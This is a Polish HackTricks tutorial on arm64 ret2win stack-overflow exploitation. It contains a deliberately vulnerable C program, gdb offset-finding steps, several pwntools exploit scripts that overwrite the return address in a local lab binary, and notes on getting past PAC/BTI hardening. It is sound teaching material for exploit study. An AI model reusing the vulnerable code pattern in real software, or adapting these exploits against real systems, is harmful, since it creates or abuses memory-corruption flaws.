Ret2win - arm64
Reading time: 7 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Wprowadzenie do arm64 znajdziesz w:
Kod
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Skompiluj bez pie i canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- Flaga dodatkowa
-mbranch-protection=none
wyłącza AArch64 Branch Protection (PAC/BTI). Jeśli twój toolchain domyślnie włącza PAC lub BTI, to sprawia, że lab jest powtarzalny. Aby sprawdzić, czy skompilowany binarny używa PAC/BTI możesz: - Szukaj właściwości AArch64 GNU:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
- Sprawdź prologi/epilogi pod kątem
paciasp
/autiasp
(PAC) lub pod kątem padów lądowaniabti c
(BTI): objdump -d ret2win | head -n 40
AArch64 calling convention quick facts
- Rejestr linku to
x30
(tzw.lr
), a funkcje zazwyczaj zapisująx29
/x30
przy pomocystp x29, x30, [sp, #-16]!
i przywracają je za pomocąldp x29, x30, [sp], #16; ret
. - To oznacza, że zapisany adres powrotu znajduje się pod
sp+8
względem bazy ramki. Przychar buffer[64]
umieszczonym poniżej, zwykła odległość nadpisania do zapisanegox30
to 64 (buffer) + 8 (zapisany x29) = 72 bajty — dokładnie to, co znajdziemy poniżej. - Wskaźnik stosu musi pozostać wyrównany do 16‑bajtów na granicach funkcji. Jeśli będziesz budować łańcuchy ROP później dla bardziej złożonych scenariuszy, zachowaj wyrównanie SP, inaczej możesz spowodować awarię podczas epilogów funkcji.
Znalezienie offsetu
Pattern option
Przykład został utworzony przy użyciu GEF:
Uruchom gdb z gef, wygeneruj pattern i użyj go:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 spróbuje powrócić do adresu w rejestrze x30 (który został przejęty), możemy użyć tego, aby znaleźć offset wzorca:
pattern search $x30
.png)
Przesunięcie to 72 (9x48).
Opcja przesunięcia stosu
Zacznij od pobrania adresu stosu, gdzie przechowywany jest rejestr pc:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Teraz ustaw breakpoint po read()
i kontynuuj, aż read()
zostanie wykonane, a następnie ustaw wzorzec taki jak 13371337:
b *vulnerable_function+28
c
.png)
Znajdź, gdzie ten wzorzec jest przechowywany w pamięci:
.png)
Następnie: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Zwykły
Uzyskaj adres funkcji win
:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Eksploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
Tak naprawdę będzie to bardziej off-by-2 w przechowywanym PC na stacku. Zamiast nadpisywać cały return address nadpiszemy tylko ostatnie 2 bajty wartością 0x06c4
.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Możesz znaleźć kolejny przykład off-by-one w ARM64 w https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, który jest prawdziwym off-by-one w fikcyjnej podatności.
With PIE
tip
Skompiluj binarkę bez argumentu -no-pie
Off-by-2
Nie mając leak, nie znamy dokładnego adresu funkcji win, ale możemy znać offset funkcji względem binarki. Wiedząc, że adres powrotny, który nadpisujemy, już wskazuje na pobliski adres, możliwe jest uzyskanie leak offsetu do funkcji win (0x7d4) w tym przypadku i po prostu użycie tego offsetu:
.png)
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
Notes on modern AArch64 hardening (PAC/BTI) and ret2win
- Jeśli binarka jest skompilowana z AArch64 Branch Protection, możesz zobaczyć
paciasp
/autiasp
lubbti c
emitowane w prologach/epilogach funkcji. W takim przypadku: - Powrót do adresu, który nie jest prawidłowym BTI landing pad, może spowodować
SIGILL
. Lepiej celować w dokładne wejście funkcji, które zawierabti c
. - Jeśli PAC jest włączony dla powrotów, proste nadpisania return‑address mogą nie zadziałać, ponieważ epilog uwierzytelnia
x30
. W scenariuszach do nauki przebuduj z-mbranch-protection=none
(pokazane wyżej). Atakując prawdziwe cele, preferuj przejęcia bez użycia powrotu (np. nadpisania function pointer) lub zbuduj ROP, który nigdy nie wykona paryautiasp
/ret
uwierzytelniającej sfałszowany LR. - Aby szybko sprawdzić funkcje:
readelf --notes -W ./ret2win
and look forAARCH64_FEATURE_1_BTI
/AARCH64_FEATURE_1_PAC
notes.objdump -d ./ret2win | head -n 40
and look forbti c
,paciasp
,autiasp
.
Running on non‑ARM64 hosts (qemu‑user quick tip)
Jeśli jesteś na x86_64, ale chcesz poćwiczyć AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Powiązane strony HackTricks
Ret2syscall - ARM64
Źródła
- Włączanie PAC i BTI na AArch64 w systemie Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Standard wywołań procedur dla architektury Arm 64-bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.